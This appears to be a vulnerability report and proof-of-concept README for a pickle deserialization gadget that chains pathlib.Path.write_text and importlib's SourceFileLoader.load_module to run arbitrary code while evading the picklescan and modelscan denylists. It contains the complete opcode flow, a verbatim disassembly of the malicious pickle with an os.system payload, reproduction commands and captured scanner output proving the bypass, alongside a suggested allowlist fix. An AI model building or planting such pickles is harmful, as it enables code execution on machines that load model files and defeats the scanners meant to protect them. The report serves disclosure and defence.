| # NEW pickle RCE gadget: `pathlib.Path.write_text` + `importlib.machinery.SourceFileLoader.load_module` |
|
|
| **Category:** Pickle deserialization RCE / model-scanner denylist bypass (new, unlisted GLOBAL gadget) |
| **Runtime verified:** CPython **3.13.12**; via `pickle.load` and `joblib.load` (joblib **1.5.2**) |
| **Scanners bypassed:** picklescan **1.0.5**, modelscan **0.8.8** (both report the file as not-infected / no-issues) |
|
|
| ## Summary |
|
|
| picklescan (1.0.5) and modelscan (0.8.8) are **opcode-denylist scanners**: they walk the |
| `GLOBAL` / `STACK_GLOBAL (module, name)` pairs in a pickle stream and match them against a |
| hardcoded list of unsafe callables. This gadget is **self-contained** and references only two |
| callables that appear in **neither** denylist: |
|
|
| 1. **`pathlib.Path.write_text`** β the pickle uses it to write its own payload `.py` module to |
| disk. The payload source (containing `import os` / `os.system(...)`) rides through the stream |
| as a **SHORT_BINUNICODE string constant** that becomes the file's content β it is never a |
| `GLOBAL` opcode, so no scanner ever sees `os` / `system`. |
| 2. **`importlib.machinery.SourceFileLoader.load_module`** β imports + executes that file on |
| disk, reaching arbitrary code execution. |
| |
| Both callables are **always-present stdlib** (no optional package dependency). An equivalent |
| variant is `importlib.util.spec_from_file_location` + `module_from_spec` + `exec_module`. |
| |
| ## Root cause (verified by dumping both denylists) |
| |
| Neither `pathlib` nor `importlib.machinery` (nor `SourceFileLoader`) is present in either |
| scanner's unsafe-global list. Dumped live from the installed packages: |
| |
| ``` |
| # picklescan 1.0.5 β picklescan.scanner._unsafe_globals (dict, keyed by module) |
| picklescan _unsafe_globals type: dict |
| pathlib present: False |
| importlib present: False |
| SourceFileLoader present: False |
| modules listed: ['__builtin__', '_aix_support', '_io', '_operator', '_osx_support', '_pickle', |
| '_pyrepl', 'aiohttp', 'asyncio', 'bdb', 'builtins', 'cProfile', 'cloudpickle.cloudpickle', |
| 'code', 'commands', 'ctypes', 'distutils.file_util', 'doctest', 'ensurepip', 'functools', |
| 'httplib', 'idlelib.*', 'imaplib', 'lib2to3.*', 'logging', 'nt', 'numpy.f2py', 'operator', |
| 'os', 'pdb', 'pickle', 'pip', 'pkgutil', 'posix', 'profile', 'pty', 'pydoc', |
| 'requests.api', 'runpy', 'shutil', 'socket', 'ssl', 'subprocess', 'sys', 'test', 'timeit', |
| 'torch.*', 'trace', 'types', 'urllib.request', 'uuid', 'venv', 'webbrowser'] |
| |
| # modelscan 0.8.8 β modelscan.settings.DEFAULT_SETTINGS (CRITICAL/HIGH/MEDIUM/LOW) |
| modelscan pathlib present: False |
| modelscan importlib present: False |
| modelscan SourceFileLoader present: False |
| ``` |
| |
| Because the denylist only enumerates `os`, `posix`, `subprocess`, `runpy`, `builtins`, etc., |
| a file-write-then-source-load chain through `pathlib` + `importlib.machinery` slips past both. |
| |
| ## Opcode flow (protocol 4, `STACK_GLOBAL` with dotted qualnames) |
| |
| ``` |
| write_text = STACK_GLOBAL pathlib "Path.write_text" |
| pathobj = REDUCE(STACK_GLOBAL pathlib "Path", (PYPATH,)) |
| _ = REDUCE(write_text, (pathobj, PAYLOAD_SRC)); POP # writes _evilmod.py |
| load_module= STACK_GLOBAL importlib.machinery "SourceFileLoader.load_module" |
| loader = REDUCE(STACK_GLOBAL importlib.machinery "SourceFileLoader", ("evilmod", PYPATH)) |
| REDUCE(load_module, (loader,)) # -> imports+executes the written module -> RCE |
| STOP |
| ``` |
| |
| `Unpickler.find_class` resolves the dotted qualnames (`Path.write_text`, |
| `SourceFileLoader.load_module`) via attribute traversal, yielding the **unbound functions**, |
| which `REDUCE` then invokes with an explicit `self` (the `Path` / `SourceFileLoader` instance). |
| |
| Verbatim `pickletools.dis` of the 555-byte `evil.pkl`: |
| |
| ``` |
| 0: \x80 PROTO 4 |
| 2: \x8c SHORT_BINUNICODE 'pathlib' |
| 11: \x8c SHORT_BINUNICODE 'Path.write_text' |
| 28: \x93 STACK_GLOBAL |
| 29: \x8c SHORT_BINUNICODE 'pathlib' |
| 38: \x8c SHORT_BINUNICODE 'Path' |
| 44: \x93 STACK_GLOBAL |
| 45: \x8c SHORT_BINUNICODE '/.../_evilmod.py' |
| 118: \x85 TUPLE1 |
| 119: R REDUCE |
| 120: \x8c SHORT_BINUNICODE "import os\nos.system('id > .../PWNED_sourcefileloader ...')\n" |
| 373: \x86 TUPLE2 |
| 374: R REDUCE |
| 375: 0 POP |
| 376: \x8c SHORT_BINUNICODE 'importlib.machinery' |
| 397: \x8c SHORT_BINUNICODE 'SourceFileLoader.load_module' |
| 427: \x93 STACK_GLOBAL |
| 428: \x8c SHORT_BINUNICODE 'importlib.machinery' |
| 449: \x8c SHORT_BINUNICODE 'SourceFileLoader' |
| 467: \x93 STACK_GLOBAL |
| 468: \x8c SHORT_BINUNICODE 'evilmod' |
| 477: \x8c SHORT_BINUNICODE '/.../_evilmod.py' |
| 550: \x86 TUPLE2 |
| 551: R REDUCE |
| 552: \x85 TUPLE1 |
| 553: R REDUCE |
| 554: . STOP |
| highest protocol among opcodes = 4 |
| ``` |
| |
| ## Reproduce |
| |
| ``` |
| python3 gen_poc.py # builds evil.pkl / evil.joblib + control_os.pkl |
| python3 -c "import pickle; pickle.load(open('evil.pkl','rb'))" # -> writes PWNED_sourcefileloader |
| scan_verify/bin/python -m picklescan -p evil.pkl # picklescan 1.0.5, py3.13 -> Infected 0 (CLEAN) |
| scan312/bin/modelscan -p evil.pkl # modelscan 0.8.8, py3.12 -> "No issues found!" |
| ``` |
| |
| `gen_poc.py`, `evil.pkl` (555 bytes), `evil.joblib`, `control_os.pkl`, and `_evilmod.py` |
| (the payload module written at unpickle time) are included in this repo. |
| |
| ## Verified captured evidence (verbatim) |
| |
| ### EXECUTE β `pickle.load` on CPython 3.13.12, and `joblib.load` 1.5.2 (identical marker) |
| |
| Contents of `PWNED_sourcefileloader` after each load: |
| |
| ``` |
| uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin) |
| importlib_sourcefileloader_gadget_executed |
| ``` |
| |
| ### PICKLESCAN 1.0.5 (py3.13) β `evil.pkl` β CLEAN |
| |
| ``` |
| ----------- SCAN SUMMARY ----------- |
| Scanned files: 1 |
| Infected files: 0 |
| Suspicious globals: 4 |
| Dangerous globals: 0 |
| ``` |
| (exit=0 β CLEAN; "suspicious" is non-blocking, the verdict is *not infected*.) |
| |
| ### MODELSCAN 0.8.8 (py3.12) β `evil.pkl` AND `evil.joblib` β CLEAN |
| |
| ``` |
| Scanning evil.pkl using modelscan.scanners.PickleUnsafeOpScan model scan |
| --- Summary --- |
| No issues found! π |
| ``` |
| (exit=0 for both files.) |
| |
| ### NEGATIVE CONTROL β `control_os.pkl` (`posix.system` reduce) β both scanners flag it |
| |
| picklescan: |
| ``` |
| control_os.pkl: dangerous import 'posix system' FOUND |
| Infected files: 1 |
| Dangerous globals: 1 |
| ``` |
| |
| modelscan: |
| ``` |
| Total Issues: 1 |
| - CRITICAL: 1 |
| Unsafe operator found: |
| - Description: Use of unsafe operator 'system' from module 'posix' |
| ``` |
| |
| Both scanners correctly flag the control (exit=1 for modelscan), proving the detection |
| pipeline works and that the clean verdict on `evil.pkl` is a genuine bypass, not a broken run. |
| |
| ## Impact |
| |
| A malicious `.pkl` / `.joblib` (or any pickle-backed model artifact β e.g. joblib/sklearn, |
| numpy `allow_pickle`, torch legacy) that passes a picklescan- or modelscan-based CI/registry |
| gate as clean, yet achieves arbitrary command execution the moment it is deserialized. Both |
| scanners are widely deployed as the "safety check" in front of model hubs and MLOps pipelines, |
| so the bypass defeats the primary automated defense for untrusted model files. |
| |
| ## Suggested fix |
| |
| Denylists cannot enumerate every dangerous stdlib callable. `pathlib.Path.write_text` / |
| `write_bytes`, `importlib.machinery.SourceFileLoader` / `SourcelessFileLoader`, |
| `importlib.util.spec_from_file_location` / `module_from_spec` / `exec_module`, and |
| `importlib.import_module` are all file-write / import primitives that must be treated as |
| unsafe. More robustly, prefer an **allowlist** of known-safe globals (as |
| `weights_only`-style loading does) rather than a denylist. |
| |
| ## Dedup / prior-art note |
| |
| - Distinct from classic `os.system` / `posix.system` / `subprocess` / `builtins.eval` / |
| `builtins.exec` reduces β those modules **are** in both denylists and are flagged (see the |
| negative control). |
| - Distinct from prior `nt`/`runpy`/`pydoc`/`webbrowser` gadgets already in picklescan's list. |
| - Distinct from other gadgets in sibling PoCs (logging.config, typing.get_type_hints, |
| marshal+FunctionType, doctest, codeop, dataclasses, code.InteractiveInterpreter, |
| pydoc.pipepager, spawnv, getattr_static): those use different unlisted callables. This one is |
| the `pathlib.write_text` + `importlib.machinery.SourceFileLoader.load_module` |
| **write-then-source-load** chain, in which the code-exec primitive (`os.system`) never |
| appears as a GLOBAL at all β it is carried purely as a string constant. |
| - No CVE currently assigned to `pathlib`/`importlib.machinery` as a picklescan/modelscan bypass |
| gadget as of the test date (2026-07-16). |
|
|